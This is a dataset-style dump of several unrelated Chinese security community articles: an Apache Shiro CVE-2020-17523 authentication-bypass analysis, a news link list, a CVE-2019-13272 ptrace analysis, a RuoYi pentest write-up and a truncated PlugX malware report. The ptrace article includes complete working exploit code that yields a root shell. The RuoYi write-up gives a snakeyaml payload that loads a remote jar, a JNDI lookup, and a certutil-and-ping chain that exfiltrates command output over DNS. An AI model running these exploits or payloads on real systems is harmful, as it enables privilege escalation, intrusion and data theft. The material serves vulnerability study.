text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# Apache Shiro 两种姿势绕过认证分析（CVE-2020-17523）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：jweny[@360](https://github.com/360 "@360")云安全
## 0x01 漏洞描述
Apache
Shiro是一个强大且易用的Java安全框架，执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API，您可以快速、轻松地获得任何应用程序，从最小的移动应用程序到最大的网络和企业应用程序。
当它和 Spring 结合使用时，在一定权限匹配规则下，攻击者可通过构造特殊的 HTTP 请求包完成身份认证绕过。
影响范围：Apache Shiro < 1.7.1
## 0x02 漏洞环境搭建
shiro 1.7.0
<https://github.com/jweny/shiro-cve-2020-17523> 两种姿势的漏洞环境均已更新。
## 0x03 poc测试
**姿势一：**
<http://127.0.0.1:8080/admin/%20> 或 <http://127.0.0.1:8080/admin/%20/>
使用空格等空字符，可绕过shiro身份验证。
**姿势二：**
经过和p0desta师傅交流，发现还有另一种特殊场景下的利用方式。
<http://127.0.0.1:8080/admin/%2e> 或 <http://127.0.0.1:8080/admin/%2e/>
但是`.`（还有`/`）在Spring的路径匹配的规则中是代表路径分隔符的，不作为普通字符进行匹配。因此在默认条件下访问 `/admin/.`会返回404。
但是在开启全路径的场景下`setAlwaysUseFullPath(true)`是可以正常匹配的。
## 0x04 漏洞分析
Shiro中对于URL的获取及匹配在`org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain`
先简单看下这个`getChain`方法：
该方法先检查requestURI是否以`/`结尾，如果是，就删掉最后一个`/`。
然后在匹配路径的循环中，会先判断下路径规则pathPattern是否以`/`结尾，如果是也会删除。然后再去调用`pathMatches()`方法进行路径匹配。
**因此两种利用方式中，是否以`/`结尾都没有关系，因为开始经过`getChain`方法就会被删除。**
### 4.1 空格绕过分析
关注下`pathMatches()`方法：
调出Evaluate，分别计算一下`pathMatches（"/admin/*","/admin/1"）`和`pathMatches（"/admin/*","/admin/
"）`，前者正常匹配，后者匹配失败。
开始调试，调试开始会经过一阵漫长的F7。一直到`doMatch("/admin/*","/admin/
")`。可见，`tokenizeToStringArray`返回的pathDirs已经没有第二层路径了。因此会导致`/admin/*`和`/admin`不匹配。
跟一下`tokenizeToStringArray`方法，发现其调用`tokenizeToStringArray`方法时的`trimTokens`参数为true。
而`tokenizeToStringArray`方法，在参数`trimTokens`为true时，会经过`trim()`处理，因此导致空格被清除。再次返回`getChain`时最后一个`/`被删除。因此`tokenizeToStringArray`返回的pathDirs没有第二层路径。
总结一下：存在漏洞的shiro版本，由于调用`tokenizeToStringArray`方法时，`trimTokens`参数默认为true，空格会经过`trim()`处理，因此导致空格被清除。再次返回`getChain`时最后一个`/`被删除，所以`/admin`与`/admin/*`匹配失败，导致鉴权绕过。而Spring接受到的访问路径为`/admin/%20`，按照正常逻辑返回响应，因此导致权限被绕过。
### 4.2 /./绕过分析
看到第二种姿势的`/.`和`/./`，是不是想起了某个熟悉方法？没错，就是`normalize()`。
简单翻译下就是：
条件 | 示例
---|---
正斜杠处理成反斜杠 | \ -> /
双反斜杠处理成反斜杠 | // -> /
以/.或者/..结尾，则在结尾添加/ | /. -> /./ /.. -> /../
归一化处理/./ | /./ -> /
路径跳跃 | /aaa/../bbb -> /bbb
所以`/admin/.`在被处理成`/admin/./`之后变成了`/admin/`。
在经过`org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain`处理，由于`/`结尾，如果是，就删掉最后一个`/`，变成了`/admin`。``/admin`与`/admin/*`不匹配，因此绕过了shiro鉴权。
而此时Spring收到的请求为`/admin/.`。
**如果没有开启全路径匹配的话，在Spring中`.`和`/`是作为路径分隔符的，不参与路径匹配。**因此会匹配不到mapping，返回404。
开启全路径匹配的话，会匹配整个url，因此Spring返回200。
这里附上开启全路径匹配的代码：
@SpringBootApplication
public class SpringbootShiroApplication extends SpringBootServletInitializer implements BeanPostProcessor {
@Override
protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {
return builder.sources(SpringbootShiroApplication.class);
}
public static void main(String[] args) {
SpringApplication.run(SpringbootShiroApplication.class, args);
}
@Override
public Object postProcessBeforeInitialization(Object bean, String beanName)
throws BeansException {
if (bean instanceof RequestMappingHandlerMapping) {
((RequestMappingHandlerMapping) bean).setAlwaysUseFullPath(true);
}
return bean;
}
@Override
public Object postProcessAfterInitialization(Object bean, String beanName)
throws BeansException {
return bean;
}
}
## 0x05 官方的修复方案
经过以上的分析，造成shiro权限绕过的原因有两个：
1. `tokenizeToStringArray`函数没有正确处理空格。
2. 处理最后一个`/`的逻辑，不应在循环匹配路径的逻辑之前。
因此官方的修复方案为：
<https://github.com/apache/shiro/commit/0842c27fa72d0da5de0c5723a66d402fe20903df>
1. 将`tokenizeToStringArray`的`trimTokens`参数置为false。
2. 调整删除最后一个`/`的逻辑。修改成先匹配原始路径，匹配失败后再去走删除最后一个`/`的逻辑。
## 0x06 关于trim
原理上来说`trim()`会清空字符串前后所有的whitespace，空格只是其中的一种，但是在测试中发现除了空格以外的其他whitespace，例如`%08`、`%09`、`%0a`，spring+tomcat
处理时都会返回400。
因此第一种姿势除了空格，尚未发现其他好用的payload。
## 0x07 参考
<https://github.com/apache/shiro/commit/0842c27fa72d0da5de0c5723a66d402fe20903df>
<https://www.anquanke.com/post/id/216096>
<https://www.cnblogs.com/syp172654682/p/9257282.html> | 社区文章 |
# 【知识】10月16日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： Airtame设备上存在多个漏洞、预测、解密和滥用WPA2/802.11Group
Keys、TPM中的漏洞可能允许安全功能绕过、有人通过伪造Tor隐藏服务来进行钓鱼、RFSec-ToolKit：HackRF、BladeRF学习资源汇总、看我如何破解ATM，并在2分钟内取走100万**
********
****国内热词（以下内容部分来自：<http://www.solidot.org/> ）****
高通寻求在中国禁售和停产iPhone
库克称学编程比学英语更重要
五亿网民在浏览网页时挖矿
**技术类：**
********
Airtame设备上存在多个漏洞
<https://www.utkusen.com/blog/multiple-vulnerabilities-on-airtame-device-before-version-3.html>
预测、解密和滥用WPA2/802.11Group Keys
<https://lirias.kuleuven.be/bitstream/123456789/547640/1/usenix2016-wifi.pdf>
TPM中的漏洞可能允许安全功能绕过
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV170012>
有人通过伪造Tor隐藏服务来进行钓鱼
<http://incoherency.co.uk/blog/stories/hidden-service-phishing.html>
Chrome扩展使用您的Gmail注册域名和Coinhive
<https://www.bleepingcomputer.com/news/security/chrome-extension-uses-your-gmail-to-register-domains-names-and-injects-coinhive/>
SC-A-Make：滥用CMake提供的某些命令（执行进程、文件下载）可以执行恶意操作
<https://github.com/darx0r/SC-A-Make>
Anti-DDOS：Anti DDOS的Bash脚本
<https://github.com/ismailtasdelen/Anti-DDOS>
RFSec-ToolKit：HackRF、BladeRF学习资源汇总（视频、blog）
<https://github.com/cn0xroot/RFSec-ToolKit/tree/master/HackRF>
Api set resolution
<https://lucasg.github.io/2017/10/15/Api-set-resolution/>
ASLRay：Linux ELF x32 and x64 ASLR bypass exploit with stack-spraying
<https://github.com/cryptolok/ASLRay>
Mac取证的常规方法
<https://drive.google.com/file/d/0B89Qs1PX_ZSEX1Q2U1gtTkdnZFk/view>
看我如何破解ATM，并在2分钟内取走100万
<https://embedi.com/files/white-papers/Hack-ATM-with-an-anti-hacking-feature-and-walk-away-with-1M-in-2-minutes.pdf>
Awesome-Fuzzing：一些模糊测试的学习资源（视频、书籍、工具、以及实例代码）
<https://github.com/secfigo/Awesome-Fuzzing>
DET (extensible) Data Exfiltration Toolkit
<https://github.com/sensepost/DET> | 社区文章 |
# CVE-2019-13272 'PTRACE_TRACEME' 本地提权漏洞分析（二）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
前面一篇文章介绍了CVE-2019-13272引发的第一个问题，通过race 可以导致系统
panic，接着上面一篇文章，这篇文章会介绍cve-2019-13272提到的第二个问题，它可以通过 suid 程序达到本地提权的目的
由于自身水平有限，有些地方可能理解不当，望指正。
## 漏洞原理
jannh 给出的利用逻辑如下
对于一个普通用户，考虑下面场景
1. task A fork 出task B
2. task B fork 出task C
3. B execve 一个 suid 程序(假设root，这时 B 的 cred是 root 权限)
4. C 调用 PTRACE_TRACEME 让 B trace 自己 ( C 记录 B root 权限的 cred)
5. C execve 同样执行一个 suid 程序(`/usr/bin/passwd`)
6. B 减低自己权限 (关键 这个时候 A 可以通过 ptrace 修改 B 的内存)
C 保存的 ptracer 的 cred 是 root权限的，也就是说它会认为父进程是一个root权限的进程，而本身C已经是 root权限了，这个时候
B就可以修改 C的内存达到用以root权限任意执行代码了。
这个过程有两个问题
* **ptrace的时候是怎么样做的权限检查？**
* **怎么样找出 一个 task B 这样的 suid 程序?**
### pkexec 程序
首先回答第二个问题
polkit 是
linux桌面下的一个授权模块，大多数的linux发行版本都有这个模块。因为自己也不是十分熟悉，就不误人子弟了，可以参考[这个漏洞](https://xz.aliyun.com/t/5683)
pkexec 可以通过 `--user` 参数授权特定的用户执行命令，没有指定的话默认为root权限
参考 exp 中 exec 的命令，我们用strace 看看
% strace pkexec --user rtfingc /usr/lib/gnome-settings-daemon/gsd-backlight-helper --help 2>&1 |grep setre
setreuid(0, 0) = 0
setregid(1001, 1001) = 0
setreuid(1001, 1001) = 0
`/usr/lib/gnome-settings-daemon/gsd-backlight-helper` 是一个 elf 程序，上面这条命令相当于用
rtfingc 这个用户执行`/usr/lib/gnome-settings-daemon/gsd-backlight-helper --help`
这条命令
转换到 rtfingc 用户的过程中会调用`setreuid` `setregid` 降低权限，这也就符合了前面 task B 的降权需求
### ptrace 权限检查
首先从 ptrace 的使用上看
* 普通用户只能trace自己的进程
* root 用户可以trace 其他用户的进程
* 同一个时间只能由一个ptracer
ptrace 有两种方式
* trace其他进程(PTRACE_ATTACH/PTRACE_SEIZE)(也就是 attach）
* 让父进程trace自己(PTRACE_TRACEME)(只有子进程能用)
[源码地址](https://elixir.bootlin.com/linux/v5.1.16/source/kernel/ptrace.c)
我们假设 ptracer 是 B， ptracee 是 C
**ptrace traceme**
ptrace_traceme 在上一篇文章我们已经有做了简单的分析
`ptrace_traceme()` -> `if (!current->ptrace) 是否已经被trace` -> `ptrace_link` ->
`child->ptracer_cred = get_cred(ptracer_cred);`
C 调用 `PTRACE_TRACEME`, 完成之后 C 的 `ptracer_cred` == B 的 cred
因为这里是进程自己授权其他进程来trace自己，所以并没有很多的检查
大部分的检查都会在做内存操作的时候体现
**做内存操作时**
对 ptracee 做内存读写的时候, 会通过`ptrace_access_vm` 函数做检查
// tsk 是ptracee 的task_struck (C)
int ptrace_access_vm(struct task_struct *tsk, unsigned long addr,
void *buf, int len, unsigned int gup_flags)
{
struct mm_struct *mm;
int ret;
mm = get_task_mm(tsk);
if (!mm)
return 0;
// 是否已经被trace
if (!tsk->ptrace ||
// ptracer 是 current
(current != tsk->parent) ||
((get_dumpable(mm) != SUID_DUMP_USER) &&
!ptracer_capable(tsk, mm->user_ns))) {
mmput(mm);
return 0;
}
ret = __access_remote_vm(tsk, mm, addr, buf, len, gup_flags);
mmput(mm);
return ret;
}
**ptracer_capable 函数**
// task 为 ptracee 的 task_struct
bool ptracer_capable(struct task_struct *tsk, struct user_namespace *ns)
{
int ret = 0; /* An absent tracer adds no restrictions */
const struct cred *cred;
rcu_read_lock();
// 获取 ptracer_cred
cred = rcu_dereference(tsk->ptracer_cred);
if (cred)
// 检查时否符合
ret = security_capable(cred, ns, CAP_SYS_PTRACE,
CAP_OPT_NOAUDIT);
rcu_read_unlock();
return (ret == 0);
}
这里获取了ptracee 的·`ptracer_cred` ，调用 `PTRACE_TRACEME` 的时候保存的可以是 suid 程序的 cred,
也就是 root 权限，后续会使用这个cred检查是否有trace的权限。
## exp 分析
下面我们分析 jannh 提供的exp， 笔者在测试的过程中方便起见对一些代码做了精简。
[jannh 提供的exp](https://bugs.chromium.org/p/project-zero/issues/attachment?aid=401217&signed_aid=LRTMgsnBq6HL0kC6Bd93SQ==)
测试环境在 ubuntu 18.04.1 下
可以下载 jannh 的 exp 来做测试，需要自己查找helper 的路径
笔者测试时编写的 exp 已经贴在了下面，接下来我们将分析里面的实现逻辑
### **main 函数(task A) 创建**
首先看 main 函数，一开始 是 argv[0] 的两个比较，暂时不用管它，后面会使用到。
if(strcmp(argv[0],"stage2")==0){
return middle_stage2();
}
if(strcmp(argv[0],"stage3")==0){
return spawn_shell();
}
接着创建了一个管道，用 fcntl 设置了管道的 buffer 长度，并向管道写东西
这里是为了方便后面的利用，下一次写 `block_pipe[1]` 的时候就会阻塞住
// 下一次 写(block_pipe[1] 会 block 住
pipe2(block_pipe,O_CLOEXEC|O_DIRECT);
fcntl(block_pipe[0],F_SETPIPE_SZ,0x1000);
char dummy=0;
write(block_pipe[1], &dummy, 1);
### **task A fork 出 task B**
可以看到这里 clone 出了一个 新的进程 ，也就是前面我们提到的 task B
fprintf(stderr,"00 task A fork task B n" );
pid_t midpid = clone(middle_main,middle_stack+sizeof(middle_stack),
CLONE_VM|CLONE_VFORK|SIGCHLD,NULL);
接着 task A 进入了一个 while 循环，它检查 task B 的 `/proc/xxx/comm` 文件，这里保存着 task B 运行的命令名,
也就是我们 `ps` 的时候看到的名称，我们叫它进程名吧，task A等待直到task B 的 进程名 变成 我们定义的 pkexec 的 helper
时才会退出循环
static const char *helper_path="/usr/lib/gnome-settings-daemon/gsd-backlight-helper";
...
while(1){
// 等待 直到 task B 运行 pkexec 的时候
int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
char buf[16];
int buflen = read(fd, buf, sizeof(buf)-1);
buf[buflen] = '';
*strchrnul(buf, 'n') = '';
if (strncmp(buf, basename(helper_path), 15) == 0)
break;
usleep(100000);
}
### **task B fork task C**
我们接下来查看 task B 的代码逻辑， task B 保存了 `/proc/self/exe` 的 fd， 也就是当前 poc 对应的 exe
文件，然后 fork 出了一个进程( task C）
static int middle_main(void *dummy){
// task B
pid_t middle = getpid();
// 用于后续替换内存镜像
self_fd = open("/proc/self/exe",O_RDONLY);
fprintf(stderr,"01 task B fork task Cn");
// fork 出进程 C
pid_t child = fork();
if(child==0){
### **task B 执行 pkexec**
fprintf(stderr,"02 task B execl suid pkexecn");
// 用于后续替换内存映像
dup2(self_fd,0);
// stdout < block pipe 下一次向 stdout 写 东西的时候会 block 住
dup2(block_pipe[1],1);
/*
* setreuid(0, 0)
* setregid(1001, 1001)
* setreuid(1001, 1001)
* write something
* */
struct passwd *pw = getpwuid(getuid());
execl("/usr/bin/pkexec","pkexec","--user",pw->pw_name,helper_path,"--help",NULL);
err(1,"execl pkexecn");
task B 保存poc 的 fd，这个在后续替换内存映像的时候会用到
把 `block_pipe[1]` 重定向到 `stdout`, 这样task B 在下次向stdout 写东西的时候会就阻塞住不动。接着运行 suid
程序 pkexec
为什么要这样做呢？
从 `execl` 我们可以看到，完整的命令为
`pkexec --user xxx helper --help`
pkexec 运行的所有输出都是输出到 stderr 上的，所以运行 pkexec 不会写 stdout，等 pkexec 降权之后，会去运行 helper
，也就是以 用户`xxx` 运行命令`helper --help` ，这个命令会从 `stdout` 输出 usage，于是 task B 就停在了这里。
### **task C ptrace_traceme**
接下来看 task C 的逻辑
if(child==0){
// task C
//用于后面修改内存镜像
dup2(self_fd,42);
task C 同样保存 poc 的 fd，用于后续内存镜像的替换
// 监控父进程 也就是 task B 的 Uid 情况
// 执行 pkexec 的时候task B 会变成 root 权限， Uid == 0
int proc_fd = open(tprintf("/proc/%d/status",middle),O_RDONLY);
char *needle = tprintf("nUid:t%dt0t", getuid());
while(1){
char buf[1000];
ssize_t buflen = pread(proc_fd,buf,sizeof(buf)-1,0);
buf[buflen]='';
if(strstr(buf,needle))break;
}
接着进入一个 while 循环，它通过查看 task B 的 `/proc/xxx/status` 文件检测 task B 是否已经执行了 suid 程序
变成root权限，task B 变成 root 权限时退出循环
fprintf(stderr,"03 task C trigger tracemen");
// 保存 task B 的 root cred
ptrace(PTRACE_TRACEME,0,NULL,NULL);
// task C 执行 suid 程序
fprintf(stderr,"04 exec suid /usr/bin/passwdn");
execl("/usr/bin/passwd","passwd",NULL);
}
接着 task C 执行`ptrace(PTRACE_TRACEME,0,NULL,NULL);` 保存 task B 的 suid 的 cred, 然后
`execl` 运行 `passwd` 程序，自己变成 root 权限
### **main 函数(task A)修改 内存**
okay 这个时候 task B 已经不是 root 权限了，task A 完全可以 attach task B，然后修改 task B 的内存
fprintf(stderr,"05 task A attack task Bn");
ptrace(PTRACE_ATTACH,midpid,0,NULL);
waitpid(midpid,&dummy_status,0);
force_exec_and_wait(midpid, 0, "stage2");
exp 中 attack 上 task B 之后，使用了一个 `force_exec_and_wait` 函数
我们来看看它干了什么
static void force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
struct user_regs_struct regs;
struct iovec iov = { .iov_base = ®s, .iov_len = sizeof(regs) };
// 在 syscall 调用时停下
ptrace(PTRACE_SYSCALL, pid, 0, NULL);
waitpid(pid, &dummy_status, 0);
// 获取 registers
ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov);
/* set up indirect arguments */
// 在栈上构造假的数据，作为后面 execve 的参数
unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
struct injected_page {
unsigned long argv[2];
unsigned long envv[1];
char arg0[8];
char path[1];
} ipage = {
.argv = { scratch_area + offsetof(struct injected_page, arg0) }
};
strcpy(ipage.arg0, arg0);
// 写 task B 的 内存
for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
unsigned long pdata = ((unsigned long *)&ipage)[i];
ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long), (void*)pdata);
}
/* execveat(exec_fd, path, argv, envv, flags) */
// 修改寄存器，换成 execveat 系统调用
regs.orig_rax = __NR_execveat;
regs.rdi = exec_fd;
regs.rsi = scratch_area + offsetof(struct injected_page, path);
regs.rdx = scratch_area + offsetof(struct injected_page, argv);
regs.r10 = scratch_area + offsetof(struct injected_page, envv);
regs.r8 = AT_EMPTY_PATH;
ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov);
ptrace(PTRACE_DETACH, pid, 0, NULL);
waitpid(pid, &dummy_status, 0);
}
上面代码的逻辑如下
1. 获取 task B 当前的寄存器
2. 在 stack 上构造假的数据，作为系统调用的参数
3. 更改 寄存器的值，执行 `execveat`系统调用
task B 执行 `execveat` 时传入的 `exec_fd` 是 0， 对应我们前面看到的`dup2(self_fd,0);`,
也就是重新运行一遍poc了，于是逻辑又会从 main 函数开始，这个时候 task B 的 `argv[0]` 已经被改成 `stage2`
了,这个时候就会进入前面main 函数入口的 strcmp 的逻辑
if(strcmp(argv[0],"stage2")==0){
return middle_stage2();
}
if(strcmp(argv[0],"stage3")==0){
return spawn_shell();
}
task B 进入 `middlle_stage2` 函数
static int middle_stage2(void){
fprintf(stderr,"06 middle stage2n");
pid_t child = waitpid(-1,&dummy_status,0);
force_exec_and_wait(child, 42, "stage3");
return 0;
}
它等待 task C 的 STRTRAP 信号，然后再次调用 `force_exec_and_wait` 更改 task C 的内存，这个时候 task C
保存的ptracer_cred 是 root 权限的，所以可以成功更改。
于是 task C 会同样调用`execveat` ，进入 stage3, 也就是 `spawn_shell` 函数，这时候 C已经是 root
权限了，所以起个shell 就可以得到一个 root 权限的 shell.
static int spawn_shell(void){
fprintf(stderr,"07 trigger shelln");
setresgid(0, 0, 0);
setresuid(0, 0, 0);
execlp("bash", "bash", NULL);
return 0;
}
### 完整exp
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <err.h>
#include <signal.h>
#include <stdio.h>
#include <fcntl.h>
#include <sched.h>
#include <stddef.h>
#include <stdarg.h>
#include <pwd.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <linux/elf.h>
static const char *helper_path="/usr/lib/gnome-settings-daemon/gsd-backlight-helper";
static int block_pipe[2];
static int self_fd=-1;
static int dummy_status;
static char *tprintf(char *fmt, ... ){
static char buf[10000];
va_list ap;
va_start(ap,fmt);
vsprintf(buf,fmt,ap);
va_end(ap);
return buf;
}
static int middle_main(void *dummy){
/*prctl(PR_SET_PDEATHSIG, SIGKILL);*/
// task B
pid_t middle = getpid();
self_fd = open("/proc/self/exe",O_RDONLY);
fprintf(stderr,"01 task B fork task Cn");
pid_t child = fork();
if(child==0){
// task C
/*prctl(PR_SET_PDEATHSIG, SIGKILL);*/
dup2(self_fd,42);
int proc_fd = open(tprintf("/proc/%d/status",middle),O_RDONLY);
char *needle = tprintf("nUid:t%dt0t", getuid());
while(1){
char buf[1000];
ssize_t buflen = pread(proc_fd,buf,sizeof(buf)-1,0);
buf[buflen]='';
if(strstr(buf,needle))break;
}
fprintf(stderr,"03 task C trigger tracemen");
ptrace(PTRACE_TRACEME,0,NULL,NULL);
fprintf(stderr,"04 exec suid /usr/bin/passwdn");
execl("/usr/bin/passwd","passwd",NULL);
}
fprintf(stderr,"02 task B execl suid pkexecn");
dup2(self_fd,0);
// stdout < block pipe 下一次向 stdout 写 东西的时候会 block 住
dup2(block_pipe[1],1);
/*
* setreuid(0, 0)
* setregid(1000, 1000)
* setreuid(1000, 1000)
* write something
* */
struct passwd *pw = getpwuid(getuid());
execl("/usr/bin/pkexec","pkexec","--user",pw->pw_name,helper_path,"--help",NULL);
err(1,"execl pkexecn");
}
static void force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
struct user_regs_struct regs;
struct iovec iov = { .iov_base = ®s, .iov_len = sizeof(regs) };
ptrace(PTRACE_SYSCALL, pid, 0, NULL);
waitpid(pid, &dummy_status, 0);
ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov);
/* set up indirect arguments */
unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
struct injected_page {
unsigned long argv[2];
unsigned long envv[1];
char arg0[8];
char path[1];
} ipage = {
.argv = { scratch_area + offsetof(struct injected_page, arg0) }
};
strcpy(ipage.arg0, arg0);
for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
unsigned long pdata = ((unsigned long *)&ipage)[i];
ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long), (void*)pdata);
}
/* execveat(exec_fd, path, argv, envv, flags) */
regs.orig_rax = __NR_execveat;
regs.rdi = exec_fd;
regs.rsi = scratch_area + offsetof(struct injected_page, path);
regs.rdx = scratch_area + offsetof(struct injected_page, argv);
regs.r10 = scratch_area + offsetof(struct injected_page, envv);
regs.r8 = AT_EMPTY_PATH;
ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov);
ptrace(PTRACE_DETACH, pid, 0, NULL);
waitpid(pid, &dummy_status, 0);
}
static int middle_stage2(void){
fprintf(stderr,"06 middle stage2n");
pid_t child = waitpid(-1,&dummy_status,0);
force_exec_and_wait(child, 42, "stage3");
return 0;
}
static int spawn_shell(void){
fprintf(stderr,"07 trigger shelln");
setresgid(0, 0, 0);
setresuid(0, 0, 0);
execlp("bash", "bash", NULL);
return 0;
}
int main(int argc,char **argv){
if(strcmp(argv[0],"stage2")==0){
return middle_stage2();
}
if(strcmp(argv[0],"stage3")==0){
return spawn_shell();
}
// 下一次 调用 write(block_pipe[1] 会 block 住
pipe2(block_pipe,O_CLOEXEC|O_DIRECT);
fcntl(block_pipe[0],F_SETPIPE_SZ,0x1000);
char dummy=0;
write(block_pipe[1], &dummy, 1);
static char middle_stack[1024*1024];
fprintf(stderr,"00 task A fork task B n" );
pid_t midpid = clone(middle_main,middle_stack+sizeof(middle_stack),
CLONE_VM|CLONE_VFORK|SIGCHLD,NULL);
while(1){
// 等待 直到 task B 运行 pkexec 的时候
int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
char buf[16];
int buflen = read(fd, buf, sizeof(buf)-1);
buf[buflen] = '';
*strchrnul(buf, 'n') = '';
if (strncmp(buf, basename(helper_path), 15) == 0)
break;
usleep(100000);
}
fprintf(stderr,"05 task A attack task Bn");
ptrace(PTRACE_ATTACH,midpid,0,NULL);
waitpid(midpid,&dummy_status,0);
force_exec_and_wait(midpid, 0, "stage2");
return 0;
}
### 小结一下
主要的逻辑大概如下
`task A` -> `pipe2 write` -> `clone task B` -> `wait task B pkexec`
`task B` -> `fork task C` -> `dup pipe 到 stdout` -> `pkexec` -> `pipe write
hang`
`task C` -> `wait task B pkexec` -> `ptrace traceme` -> `/usr/bin/passwd`
`task A` -> `更换 task B 内存` -> `stage2` -> `更换 task C 内存` ->`stage3` -> `root
shell`
## 总结
总体来看这个漏洞的限制还是比较大的
首先要找到一个内部有减权的 suid 程序就比较难了
pkexec 是linux 桌面 freedestop 上的验证程序，也就是说非桌面版本就可能没有这个东西，要用它也只能在桌面上。
像 android ，它把 suid 程序都去除了这个漏洞就几乎造不成什么影响。
这个漏洞和之前的 [usb creator 漏洞](https://xz.aliyun.com/t/5683)差不多，实际应用上感觉都有点鸡肋。
## reference
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1903> | 社区文章 |
# 曲折的命令执行回显
## 0x01.命令执行
日常漏洞挖掘中发现了一处若依系统，进入后台后尝试使用常规方法加载jar包来注入内存马
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://vps/yaml-payload-for-ruoyi-1.0-SNAPSHOT.jar"]]]]')
执行定时任务后，系统成功访问到了放在vps上的jar包
尝试访问内存马，直接跳转回登录界面，内存马注入失败（之后f0ng师傅研究了一下，若依4.2版本的系统使用目前公开的内存马工具是无法成功注入的）
内存马注入失败后就无法执行命令了？此时我想到了使用ldap协议，若依的后台定时任务是可以使用ldap协议来执行命令的
javax.naming.InitialContext.lookup('ldap://vps')
尝试使用DNSURL看哪条链可以使用
启动jndi，成功接收到请求
DNS成功获取到请求，说明该链可以使用
尝试直接执行命令ping dns服务器
命令执行成功，jndi与dns获取到请求
到了执行命令这一步，就可以进行上线或者其他各种操作了。但是，若依的定时任务漏洞无回显，尝试powershell、远程下载文件进行上线都无法成功，该漏洞似乎到此为止了。
## 0x02.DNS回显
虽然命令执行没有回显，也无法上线，但是DNS出网，可以DNS来回显命令执行的结果
获取DNS回显需要一个工具
<https://github.com/A0WaQ4/HexDnsEchoT>
该工具是我修改了sv3nbeast师傅的工具，原本的工具因为DNS服务器时区更改而无法使用了，我在此基础上修复了该工具，并添加了一些新的功能，让其使用更加方便。其原理是将命令执行的结果输入到一个文件中，再对其进行hex编码生成txt文件，之后再逐行读取文件，将hex编码外带到DNS上，此时工具访问DNS服务器，对dns结果进行整理拼接，最后hex解码，获取到原本的命令执行结果。
利用该工具生成的以下命令，我成功的获取到了命令执行回显，获取到了目标机器的信息
del ipconfig7 && del ipconfig7.txt && ipconfig > ipconfig7 &&echo 11111111111>>ipconfig7 && certutil -encodehex ipconfig7 ipconfig7.txt && for /f "tokens=1-17" %a in (ipconfig7.txt) do start /b ping -nc 1 %a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q.ipconfig.bec7d9a8.dnsbug.cn.
## 0x03.总结
渗透测试要细心大胆，对于一些极端环境多思考，总会存在解决方法。 | 社区文章 |
**作者：长亭科技
PDF阅读：<https://images.seebug.org/archive/%E9%95%BF%E4%BA%AD%E6%8A%80%E6%9C%AF%E4%B8%93%E6%A0%8F2018%E5%B9%B4%E5%BA%A6%E6%96%87%E9%9B%86.pdf>**
长亭技术专栏是长亭科技在知乎上开设的基于技术探讨的专栏，作者主要为长亭科技的技术人员，文章内容包括但不限于网络安全领域。2019年长亭技术专栏还会输出哪些干货，请持续关注：
<https://zhuanlan.zhihu.com/chaitin-tech>
* * * | 社区文章 |
**原文链接：<https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader>**
**译者：知道创宇404实验室翻译组**
### 概要
国庆假期之后，安全研究人员观察到APT组织TA416重新开始了活动。这次活动以在非洲开展外交活动的组织为目标。攻击者对工具集进行更新以逃避检测，该工具集用于传递PlugX恶意软件的有效负载。研究人员发现了TA416的PlugX恶意软件新的Golang变种，并且确定了攻击者在活动中对PlugX恶意软件的持续使用。
### 新的网络钓鱼活动
研究人员发现，APT组织TA416（也被称为Mustang
Panda、RedDelta）再次出现网络钓鱼活动的时间是有规律的。最近休眠的一段时间是2020年9月16日到2020年10月10日。这段时间包括中国的国庆节和非官方假期“黄金周”。之后，TA416恢复了钓鱼活动，并且继续使用社会主题诱饵。
### PlugX恶意软件分析
安全人员发现了两个RAR存档，其中一个是自解压的，它们可以作为PlugX恶意软件的删除工具。为了进行分析，我们检查了自解压文件`AdobelmdyU.exe
|
930b7a798e3279b7460e30ce2f3a2deccbc252f3ca213cb022f5b7e6a25a0867`。虽然无法确定这些RAR存档的初始传递载体，但是，TA416在钓鱼电子邮件中包括googledrive和Dropbox
url，这些邮件提供包含PlugX恶意软件和相关组件的档案。提取RAR存档后，在主机上安装四个文件并执行Adobelm.exe。安装的文件包括：
* `Adobelm.exe|0459e62c5444896d5be404c559c834ba455fa5cae1689c70fc8c61bc15468681`
一个合法的Adobe可执行文件，用于Hex.dll的DLL 侧加载。
* `Adobehelp.exe|e3e3c28f7a96906e6c30f56e8e6b013e42b5113967d6fb054c32885501dfd1b7`
以前在链接到TA416的恶意RAR存档中观察到的未使用的二进制文件。
* `hex.dll|235752f22f1a21e18e0833fc26e1cdb4834a56ee53ec7acb8a402129329c0cdd`
一个Golang二进制文件，用于解密和加载adobeupdate.dat（PlugX有效负载）。
